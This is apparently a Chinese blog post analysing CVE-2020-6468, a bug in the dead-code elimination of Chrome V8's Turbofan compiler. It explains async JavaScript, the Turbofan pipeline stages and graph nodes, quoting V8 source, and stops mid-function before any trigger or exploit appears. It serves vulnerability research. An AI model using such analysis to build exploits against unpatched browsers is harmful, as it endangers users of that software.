CVE-2020-6468-漏洞分析

字数统计: 24.9k字   |   阅读时长≈ 119分

通过这个漏洞分析，对于V8 JS的优化方面有更深的认识。感谢@xyzmshypnc和@P4nda的解答

漏洞简介

环境搭建

漏洞报告指出该漏洞影响的chrome范围是83.0.4103.61之前的版本，这里选择分析的V8版本就是3b627511511f00c552ced504c1f182bdcc3480af。

搭建之前仍然配置release版本的如下参数：

1
gn gen out.gn/x64.release/ --args='is_debug = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true v8_enable_verify_heap = true symbol_level=2 target_cpu = "x64" v8_untrusted_code_mitigations = false'

此外，由于这个漏洞涉及到Turbofan的相关知识，所以这里开启Turbofan的IR显示，配置如下：

1
2
3
4
5
cd v8/tools/turbolizer
npm i
npm run-script build
# 服务端口默认为8000
python -m SimpleHTTPServerr

基础知识

JIT优化

更多的基础知识可参考这两篇文章：

JavaScript工作原理：V8编译器的优化,

TurboFan JIT Design

JS 异步函数

通常，我们常用的Javascript执行顺序是同步的，代码执行时是按照代码执行顺序依次执行的。当前一条带啊吗执行完毕后，才会执行后续代码。但是，在JS中也涉及到了一种异步执行逻辑。

在Javascript中在处理某些耗时较长的功能时也需要使用异步，比如获取某个网络资源等。可以将获取的函数写成异步函数，不阻塞主线程的运行。但是，在异步函数处理完成之后，又如何接着进行后续处理呢？这里不能直接将其合并到主线程中，因为会与主线程原本的逻辑冲突。所以这里就需要有相应的处理方法来完成异步函数的后续处理。

异步 CALLBACK

异步callback 其实就是函数，其是作为参数传递给那些在后台执行的其他函数. 当那些后台运行的代码结束，就调用callback 函数。以下面一个示例说明其使用方法：

1
2
3
4
5
6
7
8
9
10
function f2(arg1){
    console.log("test2");
}

function f3(arg1){
    console.log(arg1);
}

setTimeout(f2, 2000);
f3('test3');

在这个示例中，会先输出test3，等待两秒后再输出test2。

原因是在setTimeout函数中会异步等待两秒钟，我们设置其回调函数为f2，其会在等待两秒钟结束后执行输出test2。而f3是与setTimeout同步运行的，所以其不会等待2秒钟而是会直接输出test3。

Promise类

Promise 是一种全新的异步函数实现方式，其专为异步操作而设计，与callback相比其具有以下优点：

  • 可以使用多个then()操作将多个异步操作链接在一起，并将其中一个操作的结果作为输入传递给下一个操作；
  • Promise总是严格按照它们放置在事件队列中的顺序调用。
  • 所有的错误都由块末尾的一个.catch()块处理

示例如下：

1
2
3
4
5
6
7
8
9
fetch('products.json').then(function(response) {
  return response.json();
}).then(function(json) {
  products = json;
  initialize();
}).catch(function(err) {
  console.log('Fetch problem: ' + err.message);
});
`

fetch函数用于获取数据，其会异步执行。在其执行完之后会执行第一个then中的代码返回json数据。该数据会用于第二个then的参数。每个then块都会返回一个promise类，如果其中任意一个then块执行失败都会进入catch块进行错误处理。

async 和 await关键字

async和await关键字是基于promise的语法糖，更易于异步代码。async关键字用于声明函数是一个异步函数，他会使函数返回一个promise对象。await关键字放在回调的Promise之前，将会暂停执行函数，直到Promise执行或拒绝。

示例如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function resolveAfter2Seconds() {
  return new Promise(resolve => {
    setTimeout(() => {
      resolve('resolved');
    }, 2000);
  });
}

async function asyncCall() {
  console.log('calling');
  const result = await resolveAfter2Seconds();
  console.log(result);
  // expected output: "resolved"
}

asyncCall();
console.log("test");

在这个示例中，会先输出calling，然后输出test，等待两秒后才会输出resolved。这里使用了async声明asyncCall是一个异步函数，而await则指出需要等resolveAfter2Seconds执行完才接着执行后续代码。

更详细的知识可以参考这两篇文章：

async和await:让异步编程更简单

Faster async functions and promises

Turbofan

这里需要对Turbofan优化的总体流程有一个大概的了解。

Turbofan发生在什么阶段？

JS代码是解释执行代码，不需要进行预编译。总体流程为：

  • 通过Praser生成抽象语法树AST
  • 基于AST使用Ignition生成未经优化的字节码
  • 随后Ignition负责记录未优化字节码的执行，主要是进行Inline Cache记录的操作，将一段时间内不变的属性获取操作内联为一个值，使得属性获取的操作更加快速和简洁
  • 在执行一段时间后，将Ignition生成的字节码构造为一个Graph，启动Turbofan机制，其基于预测优化原理，对Node sea进行优化，基于一段时间内某些对象类型不会改变的推测，将执行部分命令的代码中的部分检查等去掉，以此来优化字节码执行效率。

可见，整个Turbofan是发生于代码执行一段时间后，最终启用的优化机制。

Turbofan 基于何种原理？

最核心的原理就是 Speculative Optimize 推测优化。

解释型语言和编译型语言的一个很大的差别就是 解释型语言无法直接从源代码中确定一个数据的类型，如果无法预先确定一个数据的类型，那么解释器在执行时就需要耗费大量的时间来对这个数据进行安全检查，这是导致解释型语言比编译型语言效率更低的一个原因。

如果能够解决这个问题，那么就能够提升V8的执行效率。所以，V8提出了Speculative Optimize机制。

示例代码如下：

1
x+y

上述是一个简单的两个 数据相加的操作，在JS中加操作的对象可以是 数字、字符等。所以，最基础的JS字节码可能就会对x和y执行大量的检查。但是，如果在重复执行这条代码很多次，记录发现x和y的类型都是一个数值，那么V8就推测在后续执行这句代码时x和y的类型都是数值。然后在Node sea中去掉 这句代码中 关于字符等类型的检查，只保留了对 数值的检查。那么最终生成的优化后的JS字节码数量将会大大减少。

对于其他各种指令的操作也会有类似的效果，比如赋值操作、函数调用、数组访问等。

最终后续执行这段代码时，首先检查x和y的map是否发生改变，如果没有发生改变则说明当前数据的类型没有发生改变，则执行后续的优化汇编码。

如果发生了改变，则说明当前的优化汇编码已不适用，需要进入 解优化的过程，对这段代码重新进行优化。

Turbofan 包括哪几个阶段

为了对各种指令都进行完整有序的优化，Turbofan也包括多个阶段，每个阶段都有其特定的作用。

Graph building 图构建

该阶段的目的是根据 字节码 生成 一个完善的节点图，并在图中添加一些辅助 Turbofan优化的节点。

  • 第一个阶段是图构建，基于Ignition生成的字节码生成节点图，每个节点代表一个字节码的操作码或者一个分支，例如 JSCall、JSAdd、IFTrue等。
  • 在生成的节点图中，还包括一些 栈帧环境的节点，这些节点是用于跟踪表示当前 字节码执行的栈帧环境，有助于解优化时使用；
  • 然后会删除部分死的栈帧状态的节点，例如基线检查不会用的某些值会被替代为 optimized_out sentinel。
  • 以及关于 OSR(of-stack-replacement)的解构，删除非OSR条目。

Native context specialize & inline

这个阶段的主要目的就是 用Ignition收集的关于 属性访问代码的 反馈信息feedback来优化节点图。

  • 首先是关于全局属性的访问优化；
  • 其次是关于Load\Store\Call IC的优化，包括x.o这类的LoadIC，以及将已知函数名称的 函数调用 优化为 直接调用。
  • 然后是将 JSCallFunction和JSCallConstruct内联，优化函数调用的过程，包括多态操作。
  • 删掉死节点；
  • 并对二进制和比较操作，不进行type反馈。

在这块之前统称为 Fronted 阶段

Typer & Typed Optimize

这个阶段的主要目的就是 值的类型 来对图进行优化，包括对数据的范围、值进行合并预估，对一些函数优化为内置函数，将目标对象类型已知的分配节点优化为内联分配。

  • Typer根据JS类型规则将 类型分配给 产生值的节点，包括基于feedback反馈获得类型，同时将类型通过图节点进行传递，并且对值的范围和常数进行合并统一；
  • 然后基于类型 将 图 进行优化，这里会考虑静态变量，同时会将一些操作内联为builtin内置函数（例如 abs\ random\ array.prototype.push；
  • 随后 将 JS对象创建节点 优化为内联分配，例如JSCreate当目标对象类型是已知时即可优化为内联分配，以及 SCreateArray, JSCreateLiteralObject等。并且使这些内敛分配 能够进行逃逸检查 和 Load\store\check节点消除。

上面多次提到了Inline 内联的概念，这里可以将 Inline 理解为 一种优化方式。对于函数调用的内联，例如V8利用C++函数本身已经实现了random函数，那么当JS中调用random函数时即可直接去执行已实现的random代码，而无需经过中间的多重调用；对于属性访问的内联，例如 o.x 原本需要从 o 对象重重遍历 最终取到 x 的值，经过内联操作后 可以反悔 x 的值，而无需中间繁琐的查找过程；对于对象分配的内联，例如一个数组的分配，原本需要进行各种检查，当我们能够确定分配对象为 整数数组时，那么可以将其优化为 整数数组分配，减少中间检查的过程。

General Optimize

这个阶段是一些 通用的优化步骤，主要是对 control\effect 边的优化，冗余节点的消除、逃逸检查等。

  • 解优化循环优化loop peeling：这个是指在节点图中 没有多余的解优化的环回路径；
  • Load/Check 节点消除：消除冗余负载和检查 ；
  • 逃逸检查：消除不能逃逸的分配，将能够用标量表示的变量全部用确定的标量表示
  • 代表性选择 Representation selection ：截断分析，类型反馈传播；

在这个阶段之前统称为 Optimized 阶段

  • Effect/Control 边 线性化 effect control Linearization：将潜在的解优化节点连接到 节点图，拓展宏操作，优化边。
  • 消除冗余 存储节点；
  • 控制流优化：
  • 分配整合 和 写边界节点消除：没有碎片化的分配
  • Late optimization pass：跳过全局变量编号，和死节点消除 和 冗余分支消除，Strength reduction 强度削弱用一些快的操作代替慢的操作

Scheduling & instruction selection

经过上面的优化步骤后，此时生成的节点图就是一个 优化度十分高的图，随后基于这个图生成优化后的字节码。

  • 复杂的指令选择 instruction selection：最优的模式匹配，基于架构的匹配，死指令的消除
  • 寄存器分配：
  • Jump threads：删除块之间的跳转
  • 生成code

这里之前的阶段统称为 Backend 阶段

image-20220215180217828

关于Turbofan更多详细的内容，可以参考如下文章：

An overview of the TurboFan compiler

A Tale Of TurboFan

An Introduction to Speculative Optimization in V8

TurboFan JIT Design

Turbofan IR

Turbofan 代码流程

接下来从V8代码中大概说明Turbofan的总体流程和对应的函数。

  • 图构建，首先是根据生成的字节码构建初始节点图，调用栈如下，最终调用PipelineImpl::CreateGraph函数
1
2
3
4
5
6
Compiler::CompileOptimized
	GetOptimizedCode
		GetOptimizedCodeNow
			OptimizedCompilationJob::PrepareJob
				PipelineCompilationJob::PrepareJobImpl
					PipelineImpl::CreateGraph

这里可以看到PipelineImpl类如下，可以看到在这个类中包含了Turbofan的所有流程，是Turbofan的核心类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
class PipelineImpl final {
 public:
  explicit PipelineImpl(PipelineData* data) : data_(data) {}

  // Helpers for executing pipeline phases.
  template <typename Phase, typename... Args>
  void Run(Args&&... args);

  // Step A.1. Serialize the data needed for the compilation front-end.
  void Serialize();

  // Step A.2. Run the graph creation and initial optimization passes.
  //图创建
  bool CreateGraph();

  // Step B. Run the concurrent optimization passes.
  //图优化
  bool OptimizeGraph(Linkage* linkage);

  // Alternative step B. Run minimal concurrent optimization passes for
  // mid-tier.
  bool OptimizeGraphForMidTier(Linkage* linkage);

  // Substep B.1. Produce a scheduled graph.
  void ComputeScheduledGraph();

  // Substep B.2. Select instructions from a scheduled graph.
  bool SelectInstructions(Linkage* linkage);

  // Step C. Run the code assembly pass.
  void AssembleCode(Linkage* linkage,
                    std::unique_ptr<AssemblerBuffer> buffer = {});

  // Step D. Run the code finalization pass.
  MaybeHandle<Code> FinalizeCode(bool retire_broker = true);

  // Step E. Install any code dependencies.
  bool CommitDependencies(Handle<Code> code);

  void VerifyGeneratedCodeIsIdempotent();
  void RunPrintAndVerify(const char* phase, bool untyped = false);
  bool SelectInstructionsAndAssemble(CallDescriptor* call_descriptor);
  MaybeHandle<Code> GenerateCode(CallDescriptor* call_descriptor);
  void AllocateRegisters(const RegisterConfiguration* config,
                         CallDescriptor* call_descriptor, bool run_verifier);

  OptimizedCompilationInfo* info() const;
  Isolate* isolate() const;
  //优化代码生成
  CodeGenerator* code_generator() const;

 private:
  PipelineData* const data_;
};
  • Native context specialize & inline阶段主要体现在CreateGraph函数中

在PipelineImpl::CreateGraph函数中，我们可以看到Fronted的所有阶段：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
bool PipelineImpl::CreateGraph() {
  PipelineData* data = this->data_;

  data->BeginPhaseKind("V8.TFGraphCreation");
	//初始化节点图构建
  Run<GraphBuilderPhase>();
  RunPrintAndVerify(GraphBuilderPhase::phase_name(), true);

  // Perform function context specialization and inlining (if enabled).
  //Native context specialize & inline
  //Inline 优化
  Run<InliningPhase>();
  RunPrintAndVerify(InliningPhase::phase_name(), true);

  // Remove dead->live edges from the graph.
  //删掉死节点
  Run<EarlyGraphTrimmingPhase>();
  RunPrintAndVerify(EarlyGraphTrimmingPhase::phase_name(), true);

  // Determine the Typer operation flags.
  {
    SharedFunctionInfoRef shared_info(data->broker(), info()->shared_info());
    if (is_sloppy(shared_info.language_mode()) &&
        shared_info.IsUserJavaScript()) {
      // Sloppy mode functions always have an Object for this.
      data->AddTyperFlag(Typer::kThisIsReceiver);
    }
    if (IsClassConstructor(shared_info.kind())) {
      // Class constructors cannot be [[Call]]ed.
      data->AddTyperFlag(Typer::kNewTargetIsReceiver);
    }
  }

  // Run the type-sensitive lowerings and optimizations on the graph.
  {
    if (!data->broker()->is_concurrent_inlining()) {
      Run<HeapBrokerInitializationPhase>();
      Run<CopyMetadataForConcurrentCompilePhase>();
      data->broker()->StopSerializing();
    }
  }

  data->EndPhaseKind();

  return true;
}
  • 随后进入Optimized阶段，这里进入的函数调用链如下，可以看到最终进入了OptimizeGraph
1
2
3
4
5
6
Compiler::CompileOptimized
  GetOptimizedCode
  	GetOptimizedCodeNow
  		OptimizedCompilationJob::ExecuteJob
  			PipelineCompilationJob::ExecuteJobImpl
          PipelineImpl::OptimizeGraph

OptimizeGraph函数中，可以看到Typer & Typed Optimize和General Optimize过程：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
bool PipelineImpl::OptimizeGraph(Linkage* linkage) {
  PipelineData* data = this->data_;

  data->BeginPhaseKind("V8.TFLowering");

  // Type the graph and keep the Typer running such that new nodes get
  // automatically typed when they are created.
  //Typer阶段
  Run<TyperPhase>(data->CreateTyper());
  RunPrintAndVerify(TyperPhase::phase_name());
  //Typer lowering阶段
  Run<TypedLoweringPhase>();
  RunPrintAndVerify(TypedLoweringPhase::phase_name());

  if (data->info()->is_loop_peeling_enabled()) {
    //loop peeling
    Run<LoopPeelingPhase>();
    RunPrintAndVerify(LoopPeelingPhase::phase_name(), true);
  } else {
    Run<LoopExitEliminationPhase>();
    RunPrintAndVerify(LoopExitEliminationPhase::phase_name(), true);
  }

  if (FLAG_turbo_load_elimination) {
    //Load节点消除
    Run<LoadEliminationPhase>();
    RunPrintAndVerify(LoadEliminationPhase::phase_name());
  }
  data->DeleteTyper();

  if (FLAG_turbo_escape) {
    //Escape Analysis
    Run<EscapeAnalysisPhase>();
    if (data->compilation_failed()) {
      info()->AbortOptimization(
          BailoutReason::kCyclicObjectStateDetectedInEscapeAnalysis);
      data->EndPhaseKind();
      return false;
    }
    RunPrintAndVerify(EscapeAnalysisPhase::phase_name());
  }

  if (FLAG_assert_types) {
    //
    Run<TypeAssertionsPhase>();
    RunPrintAndVerify(TypeAssertionsPhase::phase_name());
  }

  // Perform simplified lowering. This has to run w/o the Typer decorator,
  // because we cannot compute meaningful types anyways, and the computed types
  // might even conflict with the representation/truncation logic.
  //基于类型执行simplified lowering，例如去除不必要的边界检查
  Run<SimplifiedLoweringPhase>();
  RunPrintAndVerify(SimplifiedLoweringPhase::phase_name(), true);

  // From now on it is invalid to look at types on the nodes, because the types
  // on the nodes might not make sense after representation selection due to the
  // way we handle truncations; if we'd want to look at types afterwards we'd
  // essentially need to re-type (large portions of) the graph.

  // In order to catch bugs related to type access after this point, we now
  // remove the types from the nodes (currently only in Debug builds).
#ifdef DEBUG
  Run<UntyperPhase>();
  RunPrintAndVerify(UntyperPhase::phase_name(), true);
#endif

  // Run generic lowering pass.
  
  Run<GenericLoweringPhase>();
  RunPrintAndVerify(GenericLoweringPhase::phase_name(), true);

  data->BeginPhaseKind("V8.TFBlockBuilding");

  // Run early optimization pass.
  Run<EarlyOptimizationPhase>();
  RunPrintAndVerify(EarlyOptimizationPhase::phase_name(), true);
	//Effect Control 边线性化
  Run<EffectControlLinearizationPhase>();
  RunPrintAndVerify(EffectControlLinearizationPhase::phase_name(), true);

  if (FLAG_turbo_store_elimination) {
    //Store节点优化
    Run<StoreStoreEliminationPhase>();
    RunPrintAndVerify(StoreStoreEliminationPhase::phase_name(), true);
  }

  // Optimize control flow.
  if (FLAG_turbo_cf_optimization) {
    //Control Flow优化
    Run<ControlFlowOptimizationPhase>();
    RunPrintAndVerify(ControlFlowOptimizationPhase::phase_name(), true);
  }
	//Late Optimize优化阶段
  Run<LateOptimizationPhase>();
  RunPrintAndVerify(LateOptimizationPhase::phase_name(), true);

  // Optimize memory access and allocation operations.
  //内存获取和分配优化
  Run<MemoryOptimizationPhase>();
  RunPrintAndVerify(MemoryOptimizationPhase::phase_name(), true);

  // Run value numbering and machine operator reducer to optimize load/store
  // address computation (in particular, reuse the address computation whenever
  // possible).
  //优化load/store
  Run<MachineOperatorOptimizationPhase>();
  RunPrintAndVerify(MachineOperatorOptimizationPhase::phase_name(), true);
	
  Run<DecompressionOptimizationPhase>();
  RunPrintAndVerify(DecompressionOptimizationPhase::phase_name(), true);

  data->source_positions()->RemoveDecorator();
  if (data->info()->trace_turbo_json_enabled()) {
    data->node_origins()->RemoveDecorator();
  }
	//Schedule Graph
  ComputeScheduledGraph();
	//指令选择
  return SelectInstructions(linkage);
}

Schedule

Shedule流程是在上述的EffectControlLinearization阶段，EffectControlLinearization阶段的主要目的是为了将 原本没有受到effect链约束的 节点图 优化为 含有effect约束的 控制流图。

在该阶段的主要流程为：

1、 执行schedule流程，根据节点图生成 控制流图 CFG

2、 在控制流图中 重建 effect和control链

3、 在重建时，优化操作指令 并重新构建 effect和control链

4、 结束 shecdule

Schedule的主要目的是根据前面优化后的节点图生成 控制流图CFG。原理就是根据节点图中的各种约束：value、effect、control的依赖关系，来将节点图中的节点重新排列。

其基本的流程为：

1、 构建基本块：遍历节点图中的控制流边；

2、 将固定的节点放入基本块中：固定基本块包括 phi，parameters 和 return state(返回状态) 三类

3、 将其他节点放入到基本块中：根据一个节点的使用位置放入对应的基本块中

构建完基本块后，接着需要来满足各种约束关系，这些约束关系是帮助Turbofan更加合理与准确。首先是effect边的关系，schedule必须保证如下两个条件：

  • 保证effect链的没有被分割：不同于普通的value，effect值是不能被拷贝传递的
  • 保证effect链没有被中断：如果一个node的output没有使用，那么它将不会被scheduled

具体如何实现满足effect约束，有以下几种情况：

1、 Store effect 排序约束：其必须与分支节点有一个约束关系，保证 其被放置在正确的分支之后

如下图所示，正常的流程应该是先判断 p是否存在，然后再去执行store操作，但是通过前面的分析，发现storeField节点和 ifTrue或IfFalse分支节点没有约束。那么这里会导致Store操作有可能在 判断之前就执行

img

所以，我们必须在Store节点和IfTrue分支节点间添加一个控制依赖，如下所示：

image-20220215174249305

2、 Load effect 排序约束：其必须有一个完整的effect链做支撑，否则其可能会导致取得的结果不一致

如下图所示，代码流程是先执行Load取值操作，再执行store赋值操作，而如果Load操作没有一个完整的effect链约束则可能会导致 先执行了Store操作再执行Load操作。

image-20220215174312342

3、 Memory region protection：分配操作和初始化操作必须被约束

如下图所示，Allocate操作必须在Store操作之前执行，所以使用BeginRegion和FinishRegion节点来约束。如果没有这样的约束，会存在先执行了Store操作而产生内存为分配或为初始化的错误。

image-20220215174612311

想对schedule有更深入的了解，这里强烈推荐阅读这篇sildes：Turbofan IR

DeadCodeElimination

根据公开的issue说明，可以看到漏洞是在src/compiler/dead-code-elimination.cc 代码中的ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数, 其会将 Terminal节点替换为Throw节点，然后在effect-control-linearization阶段会导致错误。

那么这里首先了解一下Terminal和Throw节点，其各自的作用以及创建的过程，对于节点图分析带来的影响。

死代码消除，主要是在优化节点图时会对死节点进行消除。首先，我们需要了解Throw和Terminate两个节点的意义。

这里关于V8 Turbofan节点图的一些概念，可以参考这篇文章V8 TurboFan 生成图简析。

总结：

节点图的节点数据类型表示如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
id: 结点ID，通常是一个数字
label：结点标签
title：结点主题
live： 当前结点是否是活结点，为 true / false
properties：当前结点的属性
pos：暂且不说
opcode：当前结点的操作码，例如End
control：当前是否是控制结点，为 true / false
type: 类型
opinfo：具体的结点信息，通常表示当前结点的ValueInputCount、EffectInputCount、ControlInputCount、ValueOutputCount、EffectOutputCount、ControlOutputCount。
表示方式如下：

“\<ValueInputCount\> v
\<EffectInputCount\>    eff
\<ControlInputCount\>   ctrl in,
\<ValueOutputCount\>    v
\<EffectOutputCount\>   eff
\<ControlOutputCount\>  ctrl out"
例如：”0 v 1 eff 1 ctrl in, 0 v 1 eff 0 ctrl out”
  
{
    "id": 128,
    "label": "LoadField[+16]",
    "title": "LoadField[tagged base, 16, Internal, kRepTaggedPointer|kTypeAny, PointerWriteBarrier]",
    "live": true,
    "properties": "NoWrite, NoThrow, NoDeopt",
    "pos": 388,
    "opcode": "LoadField",
    "control": false,
    "opinfo": "1 v 1 eff 1 ctrl in, 1 v 1 eff 0 ctrl out",
    "type": "Internal"
}

节点类型分为一下几种：

  • Control 节点：颜色为黄色，表示控制流节点；
  • Input 节点：浅蓝色，表示 Opcode为parameters或者Constant的节点
  • JavaScript节点：那些 opcode 以 JS 开头的结点，通常用于调用任意Javascript，其颜色为橙红色
  • Simplified 节点：那些 opcode 包含 Phi、Boolean、Number、String、Change、Object、Reference、Any、ToNumber、AnyToBoolean、Load、Store，但不是 JavaScript类型的结点。其颜色为 蓝色
  • Machine 节点：非常基础的语义，贴近硬件语言，颜色为绿色，例如Word32, Word64, Float64, Tagged，或者Int32Add, Float64Mul, TruncateFloat64ToUint32, Load
  • live 和 Dead 属性：这两种并不是节点类型，而是一个节点的属性，表示当前节点的状态，live 节点的属性相比于 Dead 属性颜色更深

边的数据结构如下：

1
2
3
4
5
{"source":18, //源节点
 "target":37,	//目的节点
 "index":0,		//表示作为目的节点的第几个输入边
 "type":"value"	//类型
}

边的类型分为以下几种：

  • Control：显示效果是一条实线，表示控制流的转移，可以理解为程序的执行流程；
  • Value：显示效果也是一条实线，表示数据流的依赖传递
  • Effect：显示为一条虚线，表示操作的顺序，例如读写状态。例如 obj[x] = obj[x] + 1，需要先load x的值，再执行add，最后再 store，所以会产生effect影响：

img

  • Context：显示也为一条实线，
  • frame-state ：显示为一条梳虚线，只能由frame-state状态的节点发出

Terminate节点

如果我们观察Trubofan生成的IR图可以发现在Inlining阶段其实就有Terminate和Throw节点的产生。其产生路径如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
PipelineImpl::CreateGraph
  PipelineImpl::Run
    InliningPhase::Run 
      GraphReducer::ReduceNode
        JSInliningHeuristic::Finalize
          JSInliningHeuristic::InlineCandidate
            JSInliner::ReduceJSCall
              compiler::BuildGraphFromBytecode
                BytecodeGraphBuilder::CreateGraph
                  BytecodeGraphBuilder::VisitBytecodes
                    BytecodeGraphBuilder::VisitSingleBytecode
                      BytecodeGraphBuilder::BuildLoopHeaderEnvironment
                        Environment::PrepareForLoop

在处理prepareForLoop字节码时，会产生Terminate节点用于循环的结尾节点：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void BytecodeGraphBuilder::Environment::PrepareForLoop(
    const BytecodeLoopAssignments& assignments,
    const BytecodeLivenessState* liveness) {
  // Create a control node for the loop header.
  //为循环创建 loop header
  Node* control = builder()->NewLoop();

  // Create a Phi for external effects.
  // 创建EffectPhi节点
  Node* effect = builder()->NewEffectPhi(1, GetEffectDependency(), control);
  UpdateEffectDependency(effect);

  // Create Phis for any values that are live on entry to the loop and may be
  // updated by the end of the loop.
  context_ = builder()->NewPhi(1, context_, control);
  for (int i = 0; i < parameter_count(); i++) {
    if (assignments.ContainsParameter(i)) {
      values_[i] = builder()->NewPhi(1, values_[i], control);
    }
  }
  for (int i = 0; i < register_count(); i++) {
    if (assignments.ContainsLocal(i) &&
        (liveness == nullptr || liveness->RegisterIsLive(i))) {
      int index = register_base() + i;
      values_[index] = builder()->NewPhi(1, values_[index], control);
    }
  }
  // The accumulator should not be live on entry.
  DCHECK_IMPLIES(liveness != nullptr, !liveness->AccumulatorIsLive());

  if (generator_state_ != nullptr) {
    generator_state_ = builder()->NewPhi(1, generator_state_, control);
  }

  // Connect to the loop end.
  // 作为循环的结尾节点
  Node* terminate = builder()->graph()->NewNode(
      builder()->common()->Terminate(), effect, control);
  builder()->exit_controls_.push_back(terminate);
}

在图中表现为，由一个Loop循环节点指向Terminate节点。这里Terminate的意义即表示一个循环退出时的节点。

这里可以编写如下的测试代码，编写一个循环来查看是否生成了一个Terminate节点：

1
2
3
while(1){
    var a = 1;
}

可以看到生成的字节码中含有JmpLoop：

1
2
3
4
5
6
7
8
9
10
11
12
13
 0 E> 0x11460820fff2 @    0 : a7                StackCheck 
      0x11460820fff3 @    1 : 12 00             LdaConstant [0]
      0x11460820fff5 @    3 : 26 fa             Star r1
      0x11460820fff7 @    5 : 27 fe f9          Mov <closure>, r2
      0x11460820fffa @    8 : 61 31 01 fa 02    CallRuntime [DeclareGlobals], r1-r2
      0x11460820ffff @   13 : 0d                LdaUndefined 
      0x114608210000 @   14 : 26 fb             Star r0
 0 E> 0x114608210002 @   16 : a7                StackCheck 
22 S> 0x114608210003 @   17 : 0c 01             LdaSmi [1]
22 E> 0x114608210005 @   19 : 15 01 00          StaGlobal [1], [0]
      0x114608210008 @   22 : 8a 06 00          JumpLoop [6], [0] (0x114608210002 @ 16)
      0x11460821000b @   25 : 25 fb             Ldar r0
26 S> 0x11460821000d @   27 : ab                Return

image-20220215155013383

Throw节点

Throw节点的产生路径有很多，其可能是JSCallRuntime、Abort、Throw或者BuildSwitchOnGeneratorState时的默认退出节点IfDefault。

具体每个节点的产生代码，可以在如下路径compiler/bytecode-graph-builder.cc中查找Throw节点的产生。

其执行路径，和Terminate节点执行类似。这里Throw节点的意义是表示函数没有返回值时、或遇到Throw、Abort、Rethrow字节码时或switch-case的default路径。这里以VisitThrow为例说明：compiler/bytecode-graph-builder.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
//当遇到Throw字节码
void BytecodeGraphBuilder::VisitThrow() {
  BuildLoopExitsForFunctionExit(bytecode_analysis().GetInLivenessFor(
      bytecode_iterator().current_offset()));
  //获取Accumulator寄存器的值
  Node* value = environment()->LookupAccumulator();
  //创建Call节点
  Node* call = NewNode(javascript()->CallRuntime(Runtime::kThrow), value);
  environment()->BindAccumulator(call, Environment::kAttachFrameState);
  //创建了Throw节点
  Node* control = NewNode(common()->Throw());
  MergeControlToLeaveFunction(control);
}

可以直接使用Throw代码来查看是否会生成一个Throw节点：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
d8> throw 1
[generated bytecode for function:  (0x34920820ff85 <SharedFunctionInfo>)]
Parameter count 1
Register count 1
Frame size 8
    0 E> 0x34920820ffd6 @    0 : a7                StackCheck 
    0 S> 0x34920820ffd7 @    1 : 0c 01             LdaSmi [1]
    0 E> 0x34920820ffd9 @    3 : a9                Throw 
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 6)
0x34920820ffdd <ByteArray[6]>
(d8):1: 1
throw 1
^

DeadCodeElimination分析

关于死节点的消除 在上述Turbofan流程讲解中，可以看到是在很多阶段都有发生的，原因就是因为每次进行一些优化时，都会产生相应的死节点。

死节点的消除会对如下几种节点操作码进行消除：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Reduction DeadCodeElimination::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;
  switch (node->opcode()) {
    case IrOpcode::kEnd:
      return ReduceEnd(node);
    case IrOpcode::kLoop:
    case IrOpcode::kMerge:
      return ReduceLoopOrMerge(node);
    case IrOpcode::kLoopExit:
      return ReduceLoopExit(node);
    case IrOpcode::kUnreachable:
    case IrOpcode::kIfException:
      return ReduceUnreachableOrIfException(node);
    case IrOpcode::kPhi:
      return ReducePhi(node);
    case IrOpcode::kEffectPhi:
      return ReduceEffectPhi(node);
    case IrOpcode::kDeoptimize:
    case IrOpcode::kReturn:
    case IrOpcode::kTerminate:
    case IrOpcode::kTailCall:
      return ReduceDeoptimizeOrReturnOrTerminateOrTailCall(node);
    case IrOpcode::kThrow:
      return PropagateDeadControl(node);
    case IrOpcode::kBranch:
    case IrOpcode::kSwitch:
      return ReduceBranchOrSwitch(node);
    default:
      return ReduceNode(node);
  }
  UNREACHABLE();
}

这里可以看到有kTerminate操作码的节点会执行ReduceDeoptimizeOrReturnOrTerminateOrTailCall函数进行死节点的消除。该函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
Reduction DeadCodeElimination::ReduceDeoptimizeOrReturnOrTerminateOrTailCall(
    Node* node) {
  DCHECK(node->opcode() == IrOpcode::kDeoptimize ||
         node->opcode() == IrOpcode::kReturn ||
         node->opcode() == IrOpcode::kTerminate ||
         node->opcode() == IrOpcode::kTailCall);
  //检查上层control节点是否为死节点
  Reduction reduction = PropagateDeadControl(node);
  //如果是，则直接返回
  if (reduction.Changed()) return reduction;
  //判断当前节点的type是否为空节点
  if (FindDeadInput(node) != nullptr) {
    //获取effect 输入边节点
    Node* effect = NodeProperties::GetEffectInput(node, 0);
    //获取control 输入边节点
